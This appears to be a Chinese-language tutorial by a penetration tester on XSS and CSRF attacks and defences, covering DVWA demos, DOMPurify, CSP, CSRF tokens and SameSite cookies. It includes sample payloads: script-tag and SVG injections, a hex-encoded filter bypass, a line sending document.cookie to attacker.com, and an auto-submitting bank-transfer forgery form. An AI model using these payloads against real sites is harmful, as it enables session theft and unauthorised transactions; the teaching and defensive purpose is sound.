1. XSS与CSRF攻防全景解析
作为Web安全领域的两个经典漏洞类型,XSS(跨站脚本攻击)和CSRF(跨站请求伪造)长期占据OWASP Top 10榜单。我在金融行业做渗透测试时,发现80%的Web应用至少存在其中一种漏洞变体。这两种攻击虽然原理不同,但都能通过前端技术实现非授权操作,本文将用实战视角拆解它们的攻防体系。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. XSS攻击深度剖析
2.1 XSS攻击原理与分类
XSS本质是注入攻击,攻击者将恶意脚本注入到可信网站中。根据注入位置不同分为三类:
- 反射型XSS:恶意脚本作为请求参数直接嵌入响应页面
javascript复制// 典型攻击URL示例 http://vuln-site.com/search?keyword=<script>alert(1)</script> - 存储型XSS:恶意脚本被持久化到服务器数据库
html复制<!-- 论坛评论注入示例 --> <img src=x onerror=stealCookie()> - DOM型XSS:完全在前端执行的漏洞
javascript复制// 不安全的DOM操作 document.write(location.hash.slice(1));
实战经验:DOM型XSS最难防御,因为传统WAF无法检测客户端操作
2.2 XSS攻击实战演示
以DVWA靶场为例,展示完整的攻击链:
- 探测输入点:测试所有用户可控输入(URL参数、表单、headers)
- 绕过过滤:常用编码技巧
javascript复制// Hex编码绕过 \x3cscript\x3ealert(1)\x3c/script\x3e - 窃取凭证:构造恶意payload
javascript复制new Image().src='http://attacker.com/steal?cookie='+document.cookie
2.3 高级攻击手法
现代前端框架催生新型攻击方式:
- JSONP劫持:利用回调函数窃取数据
javascript复制<script src="https://api.com/userinfo?callback=stealData"></script> - SVG XSS:通过SVG文件执行脚本
xml复制<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
3. CSRF攻击机制解密
3.1 CSRF工作原理
攻击者诱使用户在已认证的Web应用上执行非预期操作。关键条件:
- 用户已登录目标站点
- 目标站点没有防CSRF机制
- 用户访问恶意页面
3.2 典型攻击场景
以银行转账为例:
html复制<!-- 恶意页面代码 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
3.3 CSRF与XSS的联动
组合攻击更具破坏性:
- 先用XSS获取敏感信息
- 构造精准的CSRF payload
- 实现"一键盗号"效果
4. 企业级防御方案
4.1 XSS防御体系
- 输入过滤:
- 使用DOMPurify处理HTML
javascript复制import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirtyHTML); - 输出编码:
- 根据上下文选择编码方式
java复制// Spring的HtmlUtils String safeOutput = HtmlUtils.htmlEscape(rawInput); - CSP策略:
http复制Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123'
4.2 CSRF防护措施
- Token验证:
html复制<!-- Spring Security的CSRF Token --> <input type="hidden" name="_csrf" value="${_csrf.token}"> - SameSite Cookie:
java复制// Spring Boot配置 @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setSameSite("Strict"); return serializer; } - 二次验证:关键操作需重新认证
5. 实战攻防案例库
5.1 PDF XSS绕过案例
某OA系统允许上传PDF,但未过滤JavaScript:
javascript复制// 在PDF中嵌入JS
this.createDataObject({
cName: "exploit",
cValue: "app.alert(1)"
});
防御方案:
- 使用Apache PDFBox的Sanitizer
- 服务端转换PDF为图片
5.2 AJAX CSRF防护
现代SPA应用的防护难点:
javascript复制// 前端需要将token加入每个请求
axios.interceptors.request.use(config => {
config.headers['X-CSRF-TOKEN'] = getToken();
return config;
});
6. 自动化检测方案
6.1 工具推荐
- Burp Suite:专业级被动扫描
- ZAP:开源的主动扫描器
- Semgrep:代码静态分析
yaml复制rules: - id: xss-dangerous-html pattern: document.write(...) message: Potential XSS vulnerability
6.2 自研检测系统
金融行业推荐架构:
code复制爬虫系统 → 污点分析引擎 → 行为验证模块 → 报告生成
7. 新兴威胁与防御
Web组件化带来的新挑战:
- Web Components XSS:Shadow DOM内的漏洞
- GraphQL CSRF:JSON格式的POST请求绕过
防御策略演进:
javascript复制// 现代前端框架的防护
// React自动转义
<div>{userInput}</div>
// Vue的v-html指令
<div v-html="sanitizedHtml"></div>
在真实攻防对抗中,我建议采用分层防御策略:前端过滤+服务端校验+WAF防护+行为监控。最近处理的一个案例显示,即使使用了React框架,如果开发者在dangerouslySetInnerHTML中直接渲染用户输入,仍然会导致XSS漏洞。安全防护必须贯穿整个开发生命周期。
